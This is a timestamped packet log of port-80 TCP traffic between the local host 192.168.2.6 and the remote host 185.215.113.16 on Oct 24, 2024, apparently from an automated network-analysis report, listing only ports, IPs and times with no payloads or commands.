Oct 24, 2024 09:08:14.984778881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984797001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984813929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984833002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984849930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984857082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984884024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984894037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984915972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984931946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984951019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984966040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984988928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.985008001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.985023975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.985030890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.985059977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.985076904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.985095024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.985110044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.985131025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.985148907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.985166073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.985184908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.985210896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.985213995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.985264063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.988414049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.988468885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991537094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991570950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991595030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991606951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991606951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991641998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991655111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991688013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991694927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991729975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991743088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991766930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991774082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991808891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.991822004 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.991857052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992074013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992104053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992122889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992136955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992137909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992182970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992191076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992223024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992237091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992257118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992268085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992291927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992302895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992326975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992336988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992363930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992372990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992402077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992408991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992446899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992449045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992484093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992494106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992526054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992537975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992558002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992572069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992603064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992615938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992660999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992667913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992703915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992714882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992739916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992750883 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992774963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992785931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992822886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992830038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992863894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992876053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992917061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992916107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.992964029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.992969990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993006945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993014097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993040085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993051052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993076086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993086100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993170977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993177891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993215084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993223906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993251085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993263006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993288994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993297100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993324995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993333101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993361950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993371010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993393898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993410110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993431091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993436098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993478060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993485928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993522882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993536949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993556023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993556976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993598938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993607998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993643999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993654013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993680954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993689060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993716955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993729115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993758917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993763924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993804932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993913889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.993963957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.993968010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994003057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994013071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994045973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994057894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994102001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994111061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994154930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994163036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994198084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994211912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994240046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994250059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994285107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994301081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994318962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994332075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994357109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994368076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994395018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994409084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994432926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994448900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994471073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994479895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994508982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994520903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994558096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994868994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994903088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994920969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994944096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.994959116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.994992971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995001078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995028973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995035887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995063066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995078087 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995112896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995120049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995155096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995171070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995189905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995201111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995224953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995239019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995260954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995273113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995297909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995309114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995347977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995356083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995390892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995407104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995439053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995440006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995481968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995846033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995898962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995899916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995938063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995949030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.995973110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.995980024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996015072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996028900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996064901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996079922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996113062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996117115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996150970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996164083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996190071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996200085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996225119 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996241093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996260881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996277094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996295929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996309042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996330976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996344090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996366024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996380091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996407032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996407986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996452093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996707916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996757984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996761084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996795893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996808052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996831894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996838093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996867895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996880054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996917009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996921062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996956110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.996968985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.996990919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997003078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997037888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997045994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997083902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997090101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997119904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997131109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997155905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997169018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997193098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997198105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997229099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997235060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997267008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997272015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997318983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997663021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997713089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997715950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997769117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997769117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997806072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997817039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997840881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997849941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997876883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997880936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997914076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.997925043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.997956991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998070002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998117924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998125076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998162031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998173952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998202085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998218060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998260021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998267889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998303890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998317957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998342991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998357058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998392105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998404026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998429060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998435020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998466015 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998476982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998502016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998508930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998538971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998544931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998575926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998586893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998647928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998661995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998684883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.998694897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.998728037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999030113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999064922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999083996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999102116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999108076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999136925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999146938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999175072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999181986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999223948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999231100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999265909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999279022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999301910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999308109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999353886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999373913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999389887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999401093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999428034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999433994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999464989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999474049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999501944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.999514103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.999552965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.010997057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011068106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011075020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011113882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011135101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011172056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011189938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011209011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011219978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011256933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011265039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011308908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011317015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011360884 CEST	49997	80	192.168.2.6	185.215.113.16
